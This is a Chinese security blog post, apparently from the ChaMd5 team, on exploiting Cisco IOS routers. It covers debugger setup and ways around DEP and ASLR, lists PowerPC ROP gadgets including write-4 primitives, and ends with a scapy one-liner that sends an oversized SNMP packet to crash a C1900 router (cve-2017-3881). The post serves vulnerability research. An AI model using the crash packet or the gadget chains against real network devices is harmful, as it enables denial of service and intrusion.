前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >​Cisco Cook常用方法与技巧

​Cisco Cook常用方法与技巧

作者头像
C4rpeDime
发布2021-09-07 10:53:08
1.6K0
发布2021-09-07 10:53:08
举报
文章被收录于专栏:黑白安全

一、介绍

1.Cisco近几年的安全漏洞:

Cisco近几年披露了诸多的安全漏洞。The Holy Grail Cisco IOS Shellcode And Exploitaion Techniques---Michael Lynn:披露如何绕过Cisco堆检查;GeekPwn大会上的相关内容;以及众多主要的漏洞:IKEv2 Exploit(cve-2016-1287)、EXTRABACON(snmp协议)、IKEv1 Exploit(cve-2016-1287)、Cisco Cluster Management Protocol(CMP)(cve-2017-3881)…..

2.Cisco diversity

Cisco的多样性是其一项标志性特征,主要分为系统多样性和指令架构多样性。 系统多样化:Cisco IOS、Cisco IOS XE、Cisco NX-OS、Cisco IOS XR、ASA OS   指令架构多样化:PowerPC、MIPS、x86_64

3.常见目标特征:

(1)需要对Cisco IOS固件进行逆向分析   (2)通常镜像都是一个大型二进制文件,需要静态分析   (3)在IOS中,所有代码都是在提权模式下进行,因此可以使用特权指令   (4)在IOS中,好几段虚拟内存可能映射的是同一段物理空间(例如20000000与80000000)   (5)溢出执行完shellcode要将控制流返回至正常服务   (6)当IOS服务触发异常时,Cisco IOS会重启设备(dos攻击很简单,RCE需要再构造)   Cisco IOS没有其他的API函数或者指令支持,因此如果想调用里面的一些功能(比如tcp连接),需要去定位相关的功能函数

4.常见防护:

(1)DEP:栈、堆等内存中不可执行,要做ROP攻击 (2)ASLR:栈、堆具有随机化特征,要绕过地址随机化 (3)堆检查:IOS会在固定时间检查堆结构,在堆释放的时候也会进行堆检查(具体的检查方法在之前的公众号文章里有讲),而且IOS的栈的空间也是在堆中的,因此栈溢出和堆溢出利用都可能被检查 (4)代码完整性检查:完整性检查会是否在镜像文件里植入了后门或者shellcode(一般利用签名) (5)计时器:如果shellcode运行时间太久,计时器会触发然后终止攻击进程 (6)Cisco多样化:思科镜像多样性,exp在镜像间的移植需要时间 (7)I-cache、D-cache防护:Powerpc架构的处理器会隔离代码区域和数据区域,因此有时候将控制流劫持到数据区域是无法执行的

5.Cisco IOS漏洞利用整体思路:

二、常用cook方法:

1.Exploit Debugging:

想要实现漏洞利用首先是需要能执行漏洞调试,这里主要介绍两种调试方式。 虚拟平台调试: ①安装Cisco dynamips调试平台(并支持gdb调试版本):

代码语言:javascript
复制
git clone https://github.com/Groundworkstech/dynamips-gdb-mod
cd dynamips-gdb-mod/src
updatedb
locate libelf.a

②利用dynamips启动对应的模拟调试:

代码语言:javascript
复制
dynamips -Z +连接的端口 -j(禁用JIT编译器) -P +模拟的硬件平台 -t 2621 -s 0:0:tap:tap1 -s 0:1:linux_eth:eth0 +镜像文件

③利用gdb连接调试: 注意,这里用的gdb连接调试需要使用对应架构的gdb,有两种解决方案: 一是利用gdb-multiarch;二是利用buildroot或者交叉编译工具链交叉编译一个对应架构的gdb调试工具。

代码语言:javascript
复制
gdb$ target remote 192.168.9.1:6666

虚拟调试平台脚本:https://github.com/Groundworkstech/dynamips-gdb-mod

实体设备调试: 虽然虚拟平台调试比较方便,但是有很多版本以及型号的限制,因此最好使用实体设备进行调试。实体设备调试需要利用cisco设备自带的调试栈开启调试。 ①实体设备连接: 首先进行串口调试配置,对于Linux系统,需要指定串口驱动程序。因此需要先查找相应串口驱动模块:

代码语言:javascript
复制
lenovo@ubuntu:~$ dmesg l grep ttyS*
[      0.00000] console [tty0]enabled
[838830.952225] usb 2-2.1:FTDI USB serial Device converter now attached to ttyUSB1
[844005.477214] ftdi_sio ttyUsB0: FTDI USB Serial Device converter now disconnected fron ttyUSB1
[1471721.288079] usb 2-2.1:FTDI USB serial Device converter now attached to ttyUSB1

利用串口通信工具连接至指定串口驱动模块,并设置Cisco IOS串口通信的硬件信息,即可建立连接:

代码语言:javascript
复制
lenovo@ubuntu:~$ sudo picocom -b 9600 /dev/ttyUSB1
picocom v1.7
port is   : /dev /ttyUSB1
flowcontrol   : none
baudrate is   : 9600
parity is   : none
databits are   : 8

②使用gdb kernel在实体设备上启动gdb调试模式:

对于Cisco IOS新版本,会屏蔽相应调试功能,需要进入ROMMON中开启调试功能。

代码语言:javascript
复制
rommon1>confreg 0x2100
C1921(config)#config-register 0x2100
MIPS: break ‘0000000d’
PPC:trap ‘7fe00008’

③利用调试脚本连接对应串口,实现调试功能:

代码语言:javascript
复制
python 调试脚本.py /dev/ttyUSB1

调试脚本参考: https://github.com/klsecservices/ios_mips_gdb https://gist.github.com/nstarke/50a1519067f62c223e39a98ba32ed7d5         mips、arm和ppc的调试脚本其实都大同小异,甚至可以自己编写修改调试脚本,注意对应不同的架构时,要修改capstone的对应架构,以及设置断点时的寄存器数值。

2.获取控制流:

通常利用栈溢出漏洞获取控制流(Phrack Magazine Burning the bridge Cisco IOS exploits (2002))

3.DEP绕过:

利用ROP攻击绕过DEP防护,对于ppc指令,可以通过常见返回指令去找gadgets:blr blrl bctr bctrl 常见ROP利用技巧:   (1)利用ROP gadgets直接构造shellcode(cve-2017-3881) (2)利用gadgets直接重写指定数据甚至代码,看能不能起到效果 (3)利用gadgets去禁掉DEP防护,然后在栈上执行shellcode (4)开启在代码段的写权限 ROP攻击限制:ROP攻击可能导致在栈上存放过多的数据(因为shellcode长的话,要在栈上构造很多个gadgets的地址),这样容易触发堆检查机制或者是影响其他的正常数据,因此在栈上不能构造太长的ROP攻击。

4.Gadgets构造的拓展技巧:

(1)Write-4 Primitive (参考34c3交流会议)因为前面所说,不方便构造太多的gadgets,因此可以利用几个简短的gadgets(这几个gadgets的功能就是向内存写一段在栈上存放的4字节的数据),将想执行的shellcode每4字节逐次写到内存中,最后再劫持控制流到内存中即可。这样的话shellcode不论长短,都可以写到内存中,因此不需要在栈上构造过长的gadgets。 在mips和ppc上都有这种类似的write-4的gadgets:

代码语言:javascript
复制
lwz     r0,0x14(r1)
mtlr    r0
lwz     r30,8(r1)     #value
lwz     r31,0xC(r1)   #dst address
addi    r1,r1,0x10
blr
stw     r30,0(r31)    #store value
lwz     r0,0x14(r1)
mtlr    r0
lmw     r30,8(r1)
addi    r1,r1,0x10
blr

(2)Blrl Gadgets 由于C语言和PowerPC架构的调用约定,想找到从栈向r3-r17寄存器加载的gadget比较难,但是此类gadget又很常用,因为从r3开始的低号寄存器是PPC架构的传参寄存器,经常需要利用这种gadget向调用函数传参。 解决方法一:可以分几个阶段,先初始化寄存器,再向大号寄存器进行传参(这种gadget很多),然后利用大号寄存器向小号寄存器进行赋值操作。这种办法可以,但是有点麻烦,浪费堆栈空间。 解决方法二:利用blrl gadget,blrl gadget通常具有几个特点:通常都结合低号寄存器使用,而且通常比较多样,因此可以利用blrl gadget,节省堆栈空间。

代码语言:javascript
复制
lwz     r5,0xC(r1)    #Load Word and Zero
mr      r6,r20        #Move Register
mtlr    r27           #Move to link register
blrl                  #Branch unconditionally

(3)Indirect Call Gadgets 有时候ROP攻击的shellcode比较复杂,需要调用各类函数,比如memcpy函数,或者是禁止安全机制的函数,或者是调用另一个shellcode,特别是当这些函数位于其他区段时,利用Indirect Call Gadget可以解决。

代码语言:javascript
复制
1.mtlr    r28        #Move to link register
  blrl               #Branch unconditionally
  lwz     r0,0x1C(r1)
  mtlr    r0
2.mtctr   r0         #Move to count register
  bctr
3.mtctr   r31        #Move to count register
  mr      r3,r30     #Move Register
  bctrl              #Branch unconditionally
  lwz     r0,0x10+arg_4(r1)
  mtlr    r0

(4)Multitask Gadget 有些一个Gadget可以执行多个功能,例如在栈上存储数据,下面就是一个例子,可以同时执行3个功能:

代码语言:javascript
复制
mtctr    r29          #Move to count register
bctrl                 #1st task
mtlr     r28          #Move to link register
blrl                  #2nd task
lwz      r0,0x1C(r1)
mtlr     r0           #Move to link register
lwz      r28,8(r1)    #3rd task
lwz      r29,0xC(r1)
lwz      r30,0x10(r1)
lwz      r31,0x14(r1)
addi     r1,r1,0x18   #Add Immediate
bl

(5)Stack Keeper 功能就是保存一下当前的栈指针,其实就是对r1寄存器进行一下赋值操作:

代码语言:javascript
复制
mr     r3,r1     #Move Register
blr              #Branch unconditionally

(6)Debug Gadget Debug gadget是用来调用调试器的。

代码语言:javascript
复制
trap         #Trap Word Unconditionally
blr          #Branch unconditionally

上述只是对一些重要gadgets的举例,其中Write-4 Primitive是重要的构造技巧,因为可以实现很多shellcode的写入与执行。

5.调试中的地址随机化问题:

Cisco IOS固件在IDA的解析中基址固定不变,但是某些型号的设备其IOS加载地址随机变化,但是可以通过指令计算IOS加载偏移:

根据show region得出的加载基址,同IDA加载基址进行偏移的计算,即可得出偏移量,然后对比IDA和实体设备gdb调试得到的汇编代码,解决ASLR问题。

6.漏洞利用中的代码随机化问题:

前面讲到,Cisco IOS具有DEP防护机制,这种机制可以通过ROP攻击绕过,但是当代码段也存在地址随机化时,无法直接在栈上布置指定地址的Gadgets,但是这个问题可以通过ROMMON解决。 ROMMON在内存中的加载地址一直不会变化,因此可以利用ROMMON中的代码构造ROP攻击。整体流程可以分为以下三步: (1)首先利用栈溢出,劫持返回地址进入ROMMON部分,构造ROP链。 利用ROP攻击,通过write-4 primitive方法将shellcode写入内存。 将shellcode写入内存段后,再构造栈溢出,控制流劫持到该内存区域,执行shellcode。

7.利用路由器崩溃

Cisco IOS可以将崩溃信息写道内存卡里或者闪存里,也可以通过TFTP服务器传到远端。不同版本路由器可能提供的转储信息记录功能不相同,但是基本信息都是可以记录的,可以通过路由器crash文件追踪漏洞所在位置。崩溃转储功能要进行一下配置。

代码语言:javascript
复制
radio#conf t
Enter configuration commands,one per line. End with CNTL/Z.
radio (config) #exception core-file radio-core
radio (config) #exception dump 192.168.2.5
radio (config) #^2

三、cook实例

2017年,Cisco官网披露并修复了SNMP协议中存在的漏洞,漏洞使得攻击者发送构造好的SNMP数据包,实现Dos攻击或RCE攻击。 以C1900系列路由器为例,该漏洞位于SNMP服务处理函数中:

其调用子函数sub_23BEC474进行处理,子函数主要功能为对v19地址进行赋值操纵,v19在子函数中为参数a1,主要功能为对a1地址进行赋值,写入长度由a3控制。

在子函数sub_23BEC474函数中,存在栈溢出漏洞。父函数的v19是长度为16的数组,存放在栈空间上,而子函数的赋值操作的次数可以人为控制,并且该函数的赋值操作没有额外的检查,因此会造成栈溢出。该函数赋值操作过长,会使栈上的v19所在地址的栈空间溢出,影响栈结构,造成溢出,因此可以覆盖父函数返回地址实现ROP攻击。 我们首先利用前面所讲方法解决调试中的ASLR防护,通过show region计算出动态与静态加载基址的偏移量,解决地址随机化问题。通过检查汇编代码是否一致,来判断是否正确计算代码段偏移,可知整体偏移量为0x5160。

验证漏洞,利用scapy构造并发送超长的SNMP数据包:

代码语言:javascript
复制
>>> oid = "1.3.6.1.2.1.1.1.0'+".55'*100
>>>sr1(IP(dst='192.168.88.1' )/UDP(sport=161,dport=161)/SNMP(community-"public" ,PDU-SNMPget(varbindlist=[ SNMPvarbind(oid=oid)]) ))
Begin emission :
Finished to send 1 packets.

根据代码偏移量,在父函数的返回地址处设置断点,查看返回地址的覆盖情况,成功实现栈溢出攻击。

继续执行,路由器崩溃重启。

因为C1900系列存在ASLR防护,如果想实现RCE攻击,可以利用ROMMON构造ROP chain,注意一点,ROMMON中的汇编代码具有非连续特点,因此需要编写IDA python脚本进行批量刷写。

四、参考

https://www.powerofcommunity.net/poc2017/george.pdf

文章由ChaMd5安全团队

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、介绍
    • 1.Cisco近几年的安全漏洞:
      • 2.Cisco diversity
        • 3.常见目标特征:
          • 4.常见防护:
            • 5.Cisco IOS漏洞利用整体思路:
            • 二、常用cook方法:
              • 1.Exploit Debugging:
                • 2.获取控制流:
                  • 3.DEP绕过:
                    • 4.Gadgets构造的拓展技巧:
                      • 5.调试中的地址随机化问题:
                        • 6.漏洞利用中的代码随机化问题:
                          • 7.利用路由器崩溃
                          • 三、cook实例
                          • 四、参考
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档